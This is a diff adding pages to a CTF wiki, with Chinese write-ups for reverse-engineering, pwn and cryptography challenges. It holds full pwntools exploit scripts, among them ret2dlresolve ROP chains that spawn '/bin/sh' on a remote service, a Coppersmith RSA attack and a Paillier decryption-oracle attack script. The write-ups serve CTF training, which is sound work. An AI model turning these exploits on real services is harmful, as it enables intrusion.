+我们可以: +- 1 让猴子慢慢生成,反正找到正确flag的概率不是0 +- 2 直接把flag数组的内容+32拿到flag

+

相信大家可以很快做出这道题。

+
+

flag{we1c0m3_tO_rEv3re_w0r1d!}

+
+

Extremely slow

+

IDA打开,发现是不熟悉的界面 有经验的同学会直接看函数栏中最上边几个函数就是入口函数
+但是我不喜欢exe,也不知道怎么找入口函数,于是按下shift+F12,紧接着ctrl+F,输入"flag",按下回车,一整套操作一气呵成,然后也可以找到:
+bp1
+双击结果,再双击DATA XREF: sub_1400010C0跟进引用就找到了主函数
+按下F5,主函数逻辑十分清楚。重命名几个变量就能得到:

+
__int64 sub_1400010C0(){
+  int l; // [rsp+20h] [rbp-38h]
+  int j; // [rsp+24h] [rbp-34h]
+  int k; // [rsp+28h] [rbp-30h]
+  int i; // [rsp+2Ch] [rbp-2Ch]
+  HANDLE hConsoleOutput; // [rsp+38h] [rbp-20h]
+  CONSOLE_CURSOR_INFO ConsoleCursorInfo; // [rsp+40h] [rbp-18h] BYREF
+  ULONGLONG v7; // [rsp+48h] [rbp-10h]
+
+  printf("You will find flag here!\n");
+  hConsoleOutput = GetStdHandle(0xFFFFFFF5);
+  SetConsoleTextAttribute(hConsoleOutput, 0xAu);
+  ConsoleCursorInfo.dwSize = 1;
+  ConsoleCursorInfo.bVisible = 0;
+  SetConsoleCursorInfo(hConsoleOutput, &ConsoleCursorInfo);
+  v7 = GetTickCount64();
+  menset(flag_arr, 61i64, 1600i64);//61是"="的ASCII
+  for ( i = 0; i < 97; ++i ) //循环97次
+  {
+    SetConsoleCursorPosition(hConsoleOutput, 0);
+    for ( j = 0; j < 20; ++j )//总共20行
+    {
+      for ( k = 0; k < 80; ++k )//每行80个字符
+        putchar(flag_arr[80 * j + k]); //打印每个字符
+      printf("\n");//打印换行符
+    }
+    for ( l = 0; l < 1600; ++l ) //data_arr是97个char[1600],正好每个字符都亦或一次
+      flag_arr[l] ^= *(_BYTE *)(data_arr[i] + l);
+    Sleep(100);//每轮都暂停0.1秒
+    if ( GetTickCount64() - v7 > 4000 )
+        return 0i64;//如果程序运行时间超过4秒退出程序
+  }
+  system("pause > nul");
+  return 0i64;
+}
+
+

所以程序就是一个初始数组和97个等长的数组每个亦或一次,得到最终的输出
+但是每次亦或完都会暂停0.1秒,40次之后就会退出。
+那么可以考虑的解法有: +- 导出97个数组,然后模拟亦或过程得到最终输出 +- 把sleep禁用 +- 把超时return禁用

+

解法1 禁用sleep:
+找到Sleep函数的地方,Edit -> Patch Program -> Assemble +bp1
+将Sleep的毫秒参数从

+
+

mov ecx, 64h

+
+

修改为

+
+

mov ecx, 0h

+
+

点击确定修改完本行后IDA还会自动Patch下一行汇编,这时候取消即可 +之后应用修改,Edit -> Patch Program -> Apply Patches to input file +然后运行程序即可看到漂亮的flag
+bp1

+

解法2 阻止超时: +类似方法1,修改限制时间的cmp rax, 0FA0h为更大的数字
+或者修改返回分支的跳转条件jbe short loc_14000124D

+

解法3 模拟亦或过程: +97个数组在程序二进制中是连续的,可以计算偏移量之后入读二进制然后手动分割数据

+

推荐解法1,一步到位。

+
+

flag{p47ch_PrO6r4m_1s_n0t_A_h4rd_7hin9}

+
+

Random

+

初始随机种子没有随机化,因此第一个随机数也是定值,用其做种子之后整个序列都是固定的,但是程序逻辑是有坑的不好复现代码,所以动态调试获取整个XOR序列的最终值:
+我选择使用IDA进行动态调试,在这里下断点
+bp1

+

执行后在弹窗蓝字中选择让IDA自动把所有异常传给程序
+触发断点后就可以双击跟进byte_983370得到运算结果 +bp1

+

最后就是用动态获取的byte_983370值亦或输入再亦或最后的比较数组byte_E62138
+这里我的输入是44个数字1,因此脚本如下:

+
# 写死的比较数组
+byte_E62138 = [0x3e, 0xcd, 0xaa, 0x8e, 0x96, 0x69, 0x94, 0x98, 0xda, 0xa8, 0x27, 0xa4, 0xf7, 0xc5, 0xfb, 0x90, 0xf3,
+               0xb3, 0xdf, 0xd8, 0x71, 0x30, 0x47, 0x19, 0x1b, 0x65, 0xd, 0xca, 0x6f, 0x8, 0x89, 0x8c, 0xe7, 0x87, 0x5d,
+               0xbc, 0x9f, 0xf2, 0x83, 0x69, 0x8d, 0x24, 0xD3, 0x5A]
+# 调试时获取的byte_983370
+key = [0x69, 0x90, 0xFA, 0xD8, 0xDC, 0x1D, 0xDD, 0xCA, 0xD8, 0xF5, 0x27, 0xA6, 0xA8, 0x80, 0x95, 0xD8, 0xF2, 0xF7, 0xB1,
+       0x8E, 0x0F, 0x75, 0x29, 0x1F, 0x42, 0x67, 0x63, 0x89, 0x6A, 0x57, 0xDC, 0x8D, 0xBB, 0xE9, 0x07, 0xBE, 0xD7, 0xE2,
+       0x80, 0x60, 0x88, 0x68, 0xD3, 0x5A]
+
+for i in range(0, 42):
+    print(chr(key[i] ^ byte_E62138[i] ^ ord('1')), end='')
+
+

运行获得flag

+
+

flag{Exc3l13nt_y0u_gOt_7h3_r4nd0m_k3y!284}

+
+

java_re

+

Jd-GUI打开,主要逻辑是将输入的字符串做DES加密,密钥是easy_key,如果结果等于密文证明输入的flag正确

+
import java.util.Base64;
+import java.util.Scanner;
+import javax.crypto.Cipher;
+import javax.crypto.spec.SecretKeySpec;
+import javax.swing.JOptionPane;
+
+public class EzJar {
+    //hint: flag not here but the logic are same
+    public static void main(String[] args) throws Exception {
+        JOptionPane.showMessageDialog(null, "Give me your flag:", "alert", JOptionPane.QUESTION_MESSAGE);
+        System.out.print("Give me your flag:");
+        Scanner sc = new Scanner(System.in);
+        String s = sc.next();
+        Cipher cipher = Cipher.getInstance("DES");
+        cipher.init(1, new SecretKeySpec("easy_key".getBytes(), "DES"));
+        String result = new String(Base64.getEncoder().encode(cipher.doFinal(s.getBytes())));
+        System.out.println(result);
+        if ("UUwnbEk0rzLol6T6uWsAqIlSzBsuPYTtuaxkQBwZA1zwu6ba5rnSM82HBI8AMbQhX5KdguHFpXtBInmrvakU6uDQ4whqs+FfRrrQqxupe/lxNirtl2deAg==".equals(result)) {
+            JOptionPane.showMessageDialog(null, "Accept!");
+            System.out.print("Accept!");
+        } else {
+            JOptionPane.showMessageDialog(null, "Wrong answer!");
+            System.out.print("Wrong answer!");
+        }
+    }
+}
+
+

但是在DES线解密(或者用java重运行一下解密)之后得到

+
+

notflag{hint:jar_will_consider_a.class/_as_file_but_zip_will_consider_it_as_folder}

+
+

提示说jar对于类名.class会忽略尾部的/,但是zip会认为这是一个目录而不是文件。
+仔细观察,我们看到的并不是EzJar.class而是一个静态的EzJar.java
+查看jar的16进制,果然有一个奇怪的文件
+class/
+jar在运行时会查找MANIFEST中的类名.class,同时忽略尾部的/。也就是说”EzJar.class/”会被识别为文件而不是文件夹,因此jar加载的class实际是”EzJar.class/”。(事实上,java甚至会忽略CRC校验,而ZIP会拒绝解压)
+为了取出/结尾的文件,可以写java脚本读取jar重写entry,更简单的方法是将hex里的文件名”EzJar.class/”替换为”EzJar1.class”就可以用zip解压出真实的class文件了。
+将解压出的”EzJar1.class”交给IDEA反汇编,看到”EzJar1.class”的主要逻辑和假文件EzJar.java是完全一样的,只有字符串被加密了。

+

混淆的代码,实际格式和上边一模一样

+
public static void main(String[] var0) throws Exception {
+        JOptionPane.showMessageDialog((Component)null, I[l[0]], I[l[1]], l[2]);
+        System.out.print(I[l[3]]);
+        byte llllllllllllIIl = new Scanner(System.in);
+        char llllllllllllIII = llllllllllllIIl.next();
+        String lllllllllllIlll = Cipher.getInstance(I[l[2]]);
+        lllllllllllIlll.init(l[1], new SecretKeySpec(I[l[4]].getBytes(), I[l[5]]));
+        int lllllllllllIllI = new String(Base64.getEncoder().encode(lllllllllllIlll.doFinal(llllllllllllIII.getBytes())));
+        if (lIl(I[l[6]].equals(lllllllllllIllI))) {
+            JOptionPane.showMessageDialog((Component)null, I[l[7]]);
+            System.out.print(I[l[8]]);
+            "".length();
+            if (-" ".length() > 0) {
+                return;
+            }
+        } else {
+            JOptionPane.showMessageDialog((Component)null, I[l[9]]);
+            System.out.print(I[l[10]]);
+        }
+
+    }
+
+

也就是只需要解密出flag和key的字符就能得到flag,找到他们所在的位置

+
static {
+        lII();
+        ll();
+        AC = I[l[11]];
+        flag = I[l[12]];
+        enc = I[l[13]];
+        banner = I[l[14]];
+        WA = I[l[15]];
+        key = I[l[16]];
+    }
+
+

I 数组是加解密数组,而l数组是下标替换数组,获取l和I的值只需要把代码复制直接运行就能得到真实的索引,然后把对应的密文和密码找出来
+其中的加密加密并不复杂,只有三种: +- ①有看似冗长其实就是循环亦或的加解密,解密
+ s=b64decode(b"第一个参数密文") + key=b"第二个参数密钥" + for i in range(0,len(s)): + print(chr(s[i]^key[i%len(key)]),end="") +- 用密码的MD5转换为DES密钥加解密 +- 用密码的MD5转换为Bolwfosh密钥加解密
+这两种用java再运行一次就是解密

+

找到flag和key对应的加密方法,解密得到key为me@Ctf3r,用key DES解密得到flag

+
+

flag{Ctf3r_me_1s_A_very_g0Od_9Uy}

+
+

PS. IDA直接打开jar就可以看到真实的entry

+

PWN

+

dove

+

IDA的逻辑可以看的十分清楚,程序分为前面的三个check和后面的一个溢出 三次ckeck依次为:
+第一个check是输入一个long long,如果小于10就转换为int调用talk
+我们可以输入一个负数使得转换成int时等于10,用c写个脚本从longlong的最小值遍历就能立刻得到一个符合条件的结果 -9223372036854775798

+
long long choice = 0;
+puts("\n第一周,鸽子没有出现在训练现场,你准备去叫他");
+    printf("本周你的解决方法是(0-9):");
+    scanf("%lld", &choice);
+    if (choice < 10) {
+        win_count += talk(choice);
+    }
+    else {
+        win_count += talk(rand() % 10);
+    }
+
+

第二个check是输入一个int 如果小于10就调用talk
+我们需要跳过这个输入,scanf在接受无效值时会跳过赋值, 正负号+ - 是可以跳过scanf又不结束程序的无效值。
+或者输入一个过大的整数也能跳过输入,比如 把第一次的输入复制一次 也行

+
scanf("%d", &choice);
+    if (choice < 10) {
+        win_count += talk(choice);
+    }
+    else {
+        win_count += talk(rand() % 10);
+    }
+
+

第三个check是输入一个int 和一个当前时间(精确到秒)的随机数,如果随机数输入正确就进行talk
+因为是精确到秒的随机种子,所以我们只要进行到这一步时候本机也生成一个随机数发送过去就是一致的

+
int x = 0;
+    srand(time(0));
+    choice = 0;
+    int y = rand();
+    scanf("%d %d", &choice, &x);
+    if (y == x) {
+        win_count += talk(choice);
+    }
+    else {
+        win_count += talk(rand() % 10);
+    }
+
+

最终会接受一个a字符串溢出,覆盖后边的变量win_flag就能完成PWN

+
char* a = "";
+int win_flag = 0;
+if (win_count > 2) {
+        gets(&a);
+    }
+    else {
+        puts("\n加油,再试一次吧!");
+    }
+
+

整个题目脚本如下:

+
from pwn import *
+import ctypes
+
+p=process("./dove")
+
+libc = ctypes.CDLL('/lib/x86_64-linux-gnu/libm.so.6') # 预先加载libc减少延迟
+
+print(p.recv().decode())
+p.sendline(b"-9223372036854775798") # longlong < 10, 转int之后正好=10
+
+print(p.recv().decode())
+p.sendline(b"-") # 跳过scanf 或者用一个很大的数字也可以 比如上边的-92233...
+
+libc.srand(libc.time())
+print(p.recv().decode())
+p.sendline(b"10 "+str(libc.rand()).encode()) #同步生成随机数
+
+print(p.recv().decode())
+p.sendline(b"a"*50) # 溢出覆盖后边的变量
+
+p.interactive()
+
+

wish

+

首先ckecksec看下保护
+checksec
+平平无奇只开了NX和部分RELRO,IDA看逻辑:

+
ssize_t vuln(){
+  char buf[8]; // [esp+Ch] [ebp-Ch] BYREF
+
+  return read(0, buf, 52);
+}
+
+

是一个溢出,但是很可悲的是这个题目不仅没有后门函数,甚至没有解析 任何的输出方法 ,没有输出就难以泄露地址,而libc又是随机加载的不知道初始地址,所以我们有以下思路: +- 爆破libc的偏移 return to OneGadGet +- ret2dlresolve +其中方法二是一种比ret2libc更强大的ROP,可以在不泄露libc地址的情况下通过dlresolve用任意函数名覆盖解析已有的函数。而pwntools又提供了强大的Ret2dlresolvePayload类,下面是自动化脚本:

+
from pwn import *
+
+context.binary = elf = ELF('wish')
+r = remote("xx.xx.xx.xx",xxxx)
+rop = ROP(context.binary)
+dlresolve = Ret2dlresolvePayload(elf, symbol="system", args=["/bin/sh"])
+rop.read(0, dlresolve.data_addr, 200)
+rop.ret2dlresolve(dlresolve)
+r.send(b'A' * (0xc+4) + rop.chain())
+pause(1)
+r.send(dlresolve.payload)
+r.interactive()
+
+

运行就能获得shell
+短短12行代码就能完成强大的ret2dl,pwntools确实是强大的工具。

+

当然,我们要想了解ret2dlresolve的原理,最好的办法是不借助轮子实现一次
+而且上边的自动化脚本发送的第一段栈迁移的payload长度正好是52个字符,很极限,我们手写的脚本不需要平衡栈的情况下只需要48个字符,多了一点空间:

+
from pwn import *
+
+elf = ELF('./wish')
+
+offset = 0xc + 4
+ppp_ret = 0x080492a1      # ROPgadget --binary wish --only "pop|ret"
+leave_ret = 0x08049125    # ROPgadget --binary wish --only "leave|ret"
+plt_0 = 0x08049030        # objdump -d -j .plt wish
+rel_plt = 0x08048350      # objdump -s -j .rel.plt wish
+dynsym = 0x08048248       # readelf -S wish
+dynstr = 0x080482b8       # readelf -S wish
+ret = 0x0804900e          # ROPgadget --binary wish --only "ret"
+
+pop_ebp_ret = ppp_ret + 2
+read_plt = elf.plt['read']
+stack_size = 0x800
+bss_addr = elf.sym['__bss_start']
+base_stage = bss_addr + stack_size
+r = remote("xx.xx.xx.xx",xxxx)
+
+# read(0, bss, 100)把payload2写入bss段,并把栈迁移到bss段
+payload = b'A' * offset + p32(ret) + p32(read_plt) + p32(ppp_ret) + p32(0) + p32(base_stage) + p32(100) + \
+          p32(pop_ebp_ret) + p32(base_stage) + p32(leave_ret)
+r.send(payload)
+
+align = 0x10 - ((base_stage + 40 - dynsym) % 16)
+fake_sym_addr = base_stage + 40 + align  # 填充地址使其与dynsym的偏移16字节对齐(即两者的差值能被16整除),因为结构体sym的大小都是16字节
+r_info = ((((fake_sym_addr - dynsym) // 16) << 8) | 0x7)  # 使其最低位为7,通过检测
+fake_write_rel = flat(p32(elf.got['read']), p32(r_info))
+fake_write_str_addr = base_stage + 40 + align + 0x10
+fake_name = fake_write_str_addr - dynstr
+fake_sym = flat(p32(fake_name), p32(0), p32(0), p32(0))
+
+payload2 = flat(b'AAAA'
+                , p32(ret)
+                , p32(plt_0)
+                , base_stage + 32 - rel_plt  # arg
+                , p32(ppp_ret)
+                , p32(base_stage + 80)
+                , p32(base_stage + 80)
+                , p32(7)  # len("/bin/sh")
+                , fake_write_rel  # base_stage + 32
+                , b'A' * align  # 用于对齐的填充
+                , fake_sym  # base_stage + 40 + align
+                , b'system\x00'  # 伪造出的字符串
+                )
+payload2 += b'A' * (80 - len(payload2)) + b'/bin/sh\x00'
+payload2 += b'A' * (100 - len(payload2))
+r.sendline(payload2)
+r.interactive()
+
+

Frank

+

比赛中放出的hint

+

PWN-dove 的源码已上传到群里
+Misc-ezPWD 的密码是18位身份证号
+Web-Life Restart 突破100岁是必要条件是橙色天赋"神秘的小盒子" 顺利修仙需要很高的属性 自动播放可以很快很快
+RE-Extremely slow 程序限制是一个时间常数,超时退出
+Web-BBS 注入是突破口
+RE-Random 动态调试

+

BBS 提示 很简单的SQL注入
+Extremely slow 提示 修改最大时间限制常数
+Random 提示 动态调试获取key
+java_re 提示 第一步解法用了https://itzsomebody.xyz/2021/07/11/javaisez3-writeup.html 的解析特性
+wish 提示 ret2dlresolve
+Double Frank 提示 双指针数组模拟环状队列;特殊情况Double Free;构造tcache dup

+ + + + + + + + + + + + + + + +
+
+ + + +
+ +
+ + + +
+
+
+
+ + + + + + + + + + \ No newline at end of file diff --git a/Writeup/COMPASS CTF2021/img/archpr.png b/Writeup/COMPASS CTF2021/img/archpr.png new file mode 100644 index 000000000..ad4e6416b Binary files /dev/null and b/Writeup/COMPASS CTF2021/img/archpr.png differ diff --git a/Writeup/COMPASS CTF2021/img/basecrack.png b/Writeup/COMPASS CTF2021/img/basecrack.png new file mode 100644 index 000000000..38c509a83 Binary files /dev/null and b/Writeup/COMPASS CTF2021/img/basecrack.png differ diff --git a/Writeup/COMPASS CTF2021/img/ciphey.png b/Writeup/COMPASS CTF2021/img/ciphey.png new file mode 100644 index 000000000..ef315aeb7 Binary files /dev/null and b/Writeup/COMPASS CTF2021/img/ciphey.png differ diff --git a/Writeup/COMPASS CTF2021/img/cyberchief.png b/Writeup/COMPASS CTF2021/img/cyberchief.png new file mode 100644 index 000000000..0e4b45f35 Binary files /dev/null and b/Writeup/COMPASS CTF2021/img/cyberchief.png differ diff --git a/Writeup/COMPASS CTF2021/img/jar2.png b/Writeup/COMPASS CTF2021/img/jar2.png new file mode 100644 index 000000000..5697258fc Binary files /dev/null and b/Writeup/COMPASS CTF2021/img/jar2.png differ diff --git a/Writeup/COMPASS CTF2021/img/john.png b/Writeup/COMPASS CTF2021/img/john.png new file mode 100644 index 000000000..67b73e59e Binary files /dev/null and b/Writeup/COMPASS CTF2021/img/john.png differ diff --git a/Writeup/COMPASS CTF2021/img/life1.png b/Writeup/COMPASS CTF2021/img/life1.png new file mode 100644 index 000000000..7a7ef43e8 Binary files /dev/null and b/Writeup/COMPASS CTF2021/img/life1.png differ diff --git a/Writeup/COMPASS CTF2021/img/life2.png b/Writeup/COMPASS CTF2021/img/life2.png new file mode 100644 index 000000000..9e5f7a009 Binary files /dev/null and b/Writeup/COMPASS CTF2021/img/life2.png differ diff --git a/Writeup/COMPASS CTF2021/img/mute1.png b/Writeup/COMPASS CTF2021/img/mute1.png new file mode 100644 index 000000000..3407e2546 Binary files /dev/null and b/Writeup/COMPASS CTF2021/img/mute1.png differ diff --git a/Writeup/COMPASS CTF2021/img/passware.png b/Writeup/COMPASS CTF2021/img/passware.png new file mode 100644 index 000000000..5ccb574b6 Binary files /dev/null and b/Writeup/COMPASS CTF2021/img/passware.png differ diff --git a/Writeup/COMPASS CTF2021/img/posts/MISC.png b/Writeup/COMPASS CTF2021/img/posts/MISC.png new file mode 100644 index 000000000..0723a2fd2 Binary files /dev/null and b/Writeup/COMPASS CTF2021/img/posts/MISC.png differ diff --git a/Writeup/COMPASS CTF2021/img/posts/PWN.png b/Writeup/COMPASS CTF2021/img/posts/PWN.png new file mode 100644 index 000000000..74e74df92 Binary files /dev/null and b/Writeup/COMPASS CTF2021/img/posts/PWN.png differ diff --git a/Writeup/COMPASS CTF2021/img/posts/RE.gif b/Writeup/COMPASS CTF2021/img/posts/RE.gif new file mode 100644 index 000000000..0fb4c3115 Binary files /dev/null and b/Writeup/COMPASS CTF2021/img/posts/RE.gif differ diff --git a/Writeup/COMPASS CTF2021/img/posts/WEB.png b/Writeup/COMPASS CTF2021/img/posts/WEB.png new file mode 100644 index 000000000..4f2700323 Binary files /dev/null and b/Writeup/COMPASS CTF2021/img/posts/WEB.png differ diff --git a/Writeup/COMPASS CTF2021/img/random1.png b/Writeup/COMPASS CTF2021/img/random1.png new file mode 100644 index 000000000..9104c0160 Binary files /dev/null and b/Writeup/COMPASS CTF2021/img/random1.png differ diff --git a/Writeup/COMPASS CTF2021/img/random2.png b/Writeup/COMPASS CTF2021/img/random2.png new file mode 100644 index 000000000..d455f482f Binary files /dev/null and b/Writeup/COMPASS CTF2021/img/random2.png differ diff --git a/Writeup/COMPASS CTF2021/img/slow.gif b/Writeup/COMPASS CTF2021/img/slow.gif new file mode 100644 index 000000000..16e1f669e Binary files /dev/null and b/Writeup/COMPASS CTF2021/img/slow.gif differ diff --git a/Writeup/COMPASS CTF2021/img/slow1.png b/Writeup/COMPASS CTF2021/img/slow1.png new file mode 100644 index 000000000..888fd629c Binary files /dev/null and b/Writeup/COMPASS CTF2021/img/slow1.png differ diff --git a/Writeup/COMPASS CTF2021/img/slow2.png b/Writeup/COMPASS CTF2021/img/slow2.png new file mode 100644 index 000000000..a7a011917 Binary files /dev/null and b/Writeup/COMPASS CTF2021/img/slow2.png differ diff --git a/Writeup/Cryptography/Exposure/index.html b/Writeup/Cryptography/Exposure/index.html new file mode 100644 index 000000000..84fc1e434 --- /dev/null +++ b/Writeup/Cryptography/Exposure/index.html @@ -0,0 +1,8222 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + Exposure - COMPASS CTF Wiki + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+ + + + + + +
+ + + + + + + +
+ +
+ + + + +
+
+ + + +
+
+
+ + + + + + + +
+
+
+ + + +
+
+
+ + + +
+
+
+ + + +
+
+ + + + + + + +

Exposure

+

Category: Cryptography

+

Source: 祥云杯2020

+

Author: unknown

+

Score: 50

+

Description

+

Do you know how to rsa?

+

Solution

+
from Crypto.Util.number import *
+import gmpy2
+p = getStrongPrime(512)
+q = getStrongPrime(512)
+n = p * q
+phi = (p - 1) * (q - 1)
+e = 7621
+d = gmpy2.invert(e, phi)
+flag = b"flag{xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx}"
+c = pow(bytes_to_long(flag), e, n)
+dp = d % (p - 1)
+print(dp >> 200)
+print(c, e, n)
+
+
+#1153696846823715458342658568392537778171840014923745253759529432977932183322553944430236879985
+#46735962204857190520476434898881001530665718155698898882603422023484998388668858692912250418134186095459060506275961050676051693220280588047233628259880712415593039977585805890920089318643002597837000049626154900908543384761210358835843974072960080857150727010985827690190496793207012355214605393036388807616
+#7621
+#140376049134934822153964243403031201922239588054133319056483413311963385321279682186354948441840374124640187894619689719746347334298621083485494086361152915457458004998419817456902929318697902819798254427945343361548635794308362823239150919240307072688623000747781103375481834571274423004856276841225675241863
+
+

dp泄露,但是dp被右移了200位,想到了Coppersmith攻击,这个是dp高位泄露,所以应该是求((dp*e-1)/i)+1 的 small roots 就可以了

+

参考KAPO2019 crypto的题

+

https://github.com/pcw109550/write-up/tree/master/2019/KAPO/Lenstra-Lenstra-Lovasz

+

写出解密sage脚本

+
n = 140376049134934822153964243403031201922239588054133319056483413311963385321279682186354948441840374124640187894619689719746347334298621083485494086361152915457458004998419817456902929318697902819798254427945343361548635794308362823239150919240307072688623000747781103375481834571274423004856276841225675241863
+secret = 1153696846823715458342658568392537778171840014923745253759529432977932183322553944430236879985
+ct = 46735962204857190520476434898881001530665718155698898882603422023484998388668858692912250418134186095459060506275961050676051693220280588047233628259880712415593039977585805890920089318643002597837000049626154900908543384761210358835843974072960080857150727010985827690190496793207012355214605393036388807616
+[n, secret, ct] = list(map(Integer, [n, secret, ct]))
+e = 7621
+
+
+def facorize(e, dp):
+  for i in range(2, e):
+    p = (e * dp - 1 + i) // i
+    if n % p == 0:
+      return p
+  return -1
+
+
+
+
+def recover(secret):
+  F.<x> = PolynomialRing(Zmod(n))
+  einv = inverse_mod(e, n)
+  for k in range(1, e):
+    print("k =",  k)
+    f = (secret << 200) + x + (k - 1) * einv
+    x0 = f.small_roots(X=2 ** (200 + 1), beta=0.44, epsilon=1/32)
+    if len(x0) != 0:
+      dp = x0[0] + (secret << 200)
+      p_cand = facorize(e, Integer(dp))
+      if p_cand < 0:
+        continue
+      else:
+        return p_cand, dp
+
+
+if __name__ == "__main__":
+    p, dp = recover(secret)
+    q = n // p
+    assert p * q == n
+    phi = (p - 1) * (q - 1)
+    d = inverse_mod(e, phi)
+    print("p = ",  p,  "\nq = ",  q)
+    flag = bytes.fromhex(hex(pow(ct, d, n))[2:])
+    print(flag)
+
+

图片

+

Flag

+

flag{45879a9e-1431-4c34-86e2-6f1f7bb1256d}

+

Reference

+

Writeup from https://mp.weixin.qq.com/s/0b9nQRxkbu7mDPji_Y8Ghw

+ + + + + + + + + + + + + + + +
+
+ + + +
+ +
+ + + +
+
+
+
+ + + + + + + + + + \ No newline at end of file diff --git a/Writeup/Cryptography/Guess/index.html b/Writeup/Cryptography/Guess/index.html new file mode 100644 index 000000000..0e075ffe0 --- /dev/null +++ b/Writeup/Cryptography/Guess/index.html @@ -0,0 +1,8346 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + Guess - COMPASS CTF Wiki + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+ + + + + + +
+ + + + + + + +
+ +
+ + + + +
+
+ + + +
+
+
+ + + + + + + +
+
+
+ + + +
+
+
+ + + +
+
+
+ + + +
+
+ + + + + + + +

Guess

+

Category: Cryptography

+

Source: 祥云杯2021

+

Author: unknown

+

Score: 15

+

Description

+

在一次任务中我遇到了一个challenge,我的队友给我发了一个他截获的hint,你利用这个hint能帮我完成这个challenge吗?nc 0.cloud.chals.io 14337

+

guess.zip

+

题目描述

+

首先它有一个密钥生成的代码。key是一个20*4的矩阵,元素均为三位数,然后右乘一个随机1024位矩阵[公式]得到[公式]。我们只知道key矩阵第一行的内容,以及[公式]的值,但是不知道[公式]矩阵的内容。

+

猜测可能可以用格基规约先弄出key,但是有感觉不靠谱,我们先放一放,审计一下oracle交互的Guess.py文件。

+

文件中使用的密码算法是Paillier算法,该算法支持同态加法。oracle交互逻辑如下:

+
    +
  1. 给出算法的加密密钥(即公钥)。
  2. +
  3. 给出一个密文,oracle返回明文。
  4. +
  5. 给出两个明文[公式], oracle返回[公式]或者[公式]的其中一项,其中[公式]是一随机的偶数,[公式]是那80个100-1000的数构成的一个列表。
  6. +
  7. 给出一个不能和第3步解密结果相同的密文,oracle返回明文。
  8. +
  9. 判断第3步中oracle返回了哪个密文,并告诉oracle结果以检验。如果oracle检验成功,则进行下一轮;如果oracle检验失败,则终止连接。 需要检验成功32轮才能拿到flag。
  10. +
+

我的解答

+

本质上只需要把key恢复出来即可。但是我们可以在上面的第四步做文章。

+

第四步可以用Paillier算法的性质来构造密文。记[公式],Paillier算法对于一个明文[公式],先随机生成一个[公式],然后计算[公式]

+

那么,如果我们已经知道两个明文密文对[公式],我们计算

+

[公式]

+

此时我们会发现这个新构造的密文[公式]对应明文[公式]

+

因此,我们可以令[公式]为oracle所给的密文,并使用题目所给的公钥得到另一个明文密文对[公式],譬如令[公式],然后用[公式][公式]加密得到[公式],并构造密文

+

[公式]

+

然后就可以在oracle的第四步输入这个[公式],这样oracle所解出的明文[公式]就是

+

[公式]

+

因为题目所给的key是固定的,也就是说[公式]是固定的,所以oracle解出的明文[公式]也是有限的(80个),这就变成了一个80个样本的二分类问题。我们可以把所输入的[公式][公式]固定,可以多次和oracle交互,先尝试猜测答案,根据oracle的检验结果得到若干[公式]的先验知识。

+

然后只要先验知识足够多,那就能保证很大概率猜对。猜测答案代码如下:

+
from hashlib import sha256
+import string
+import itertools
+from pwn import *
+from Crypto.Util.number import *
+import random
+
+def enc(n, g, m):
+    while 1:
+        r = random.randint(2, n - 1)
+        if GCD(r, n) == 1:
+            break
+    c = (pow(g, m, n ** 2) * pow(r, n, n ** 2)) % (n ** 2)
+    return c
+
+with open('gao_log_3', 'a') as f:
+    while (True):
+        conn = remote('47.104.85.225', 57811)
+
+        # SHA-256(?+hUWmo9BJ34LI) == 3919fa0f116d1a87c97d98dd43e08f77b090df5c88b1417c1c7e2c006a200aef
+        s = conn.recvline().strip().decode()
+        s2 = s[10:22]
+        ans = s[-64:]
+
+        for i in itertools.product(string.ascii_letters + string.digits, repeat=4):
+            s1 = ''.join(i)
+            ss = s1 + s2
+            if (sha256(ss.encode()).hexdigest() == ans):
+                conn.sendline(s1)
+                break
+
+        while (True):
+            conn.recvuntil('n = ')
+            n = conn.recvline()
+            n = int(n)
+
+            conn.recvuntil('g = ')
+            g = conn.recvline()
+            g = int(g)
+
+            conn.sendlineafter('Please give me one decimal ciphertext.', '2')
+            conn.recvuntil('This is the corresponding plaintext.\n')
+            mm = conn.recvline()
+            mm = int(mm)
+
+            conn.sendlineafter('Give me m0.', '40343')
+            conn.sendlineafter('Give me m1.', '52051')
+            conn.recvuntil('This is a ciphertext.\n')
+            c = conn.recvline()
+            c = int(c)
+
+            mm = 2
+            c2 = enc(n, g, mm)
+            cc = (c * c2) % (n ** 2)
+            conn.sendlineafter('Please give me one decimal ciphertext', str(cc))
+            conn.recvuntil('This is the corresponding plaintext.\n')
+            m2 = conn.recvline()
+            m2 = int(m2)
+
+            conn.sendlineafter('m1 -> c1)?', '0')
+            s = conn.recvuntil('!')
+            if (b'Sorry') in s:
+                f.write(f'{m2}, 1\n')
+                conn.close()
+                break
+            else:
+                f.write(f'{m2}, 0\n')
+
+

利用猜测答案所得的知识库进行交互的代码如下:

+
from hashlib import sha256
+import string
+import itertools
+import random
+from pwn import *
+from Crypto.Util.number import *
+
+def enc(n, g, m):
+    while 1:
+        r = random.randint(2, n - 1)
+        if GCD(r, n) == 1:
+            break
+    c = (pow(g, m, n ** 2) * pow(r, n, n ** 2)) % (n ** 2)
+    return c
+
+m2ans = {}
+cnt = 0
+for i in range(1, 5):
+    with open(f'gao_log_{i}', 'r') as f:
+        s = f.read()
+
+
+    for sline in s.splitlines():
+        m, ans = map(int, sline.split(','))
+        m2ans[m] = ans
+        cnt += 1
+
+print(len(m2ans))
+conn = remote('47.104.85.225', 57811)
+# SHA-256(?+hUWmo9BJ34LI) == 3919fa0f116d1a87c97d98dd43e08f77b090df5c88b1417c1c7e2c006a200aef
+s = conn.recvline().strip().decode()
+s2 = s[10:22]
+ans = s[-64:]
+
+for i in itertools.product(string.ascii_letters + string.digits, repeat=4):
+    s1 = ''.join(i)
+    ss = s1 + s2
+    if (sha256(ss.encode()).hexdigest() == ans):
+        conn.sendline(s1)
+        break
+for i in range(32):
+    conn.recvuntil('n = ')
+    n = conn.recvline()
+    n = int(n)
+
+    conn.recvuntil('g = ')
+    g = conn.recvline()
+    g = int(g)
+
+    conn.sendlineafter('Please give me one decimal ciphertext.', '2')
+    conn.recvuntil('This is the corresponding plaintext.\n')
+    mm = conn.recvline()
+    mm = int(mm)
+
+    conn.sendlineafter('Give me m0.', '40343')
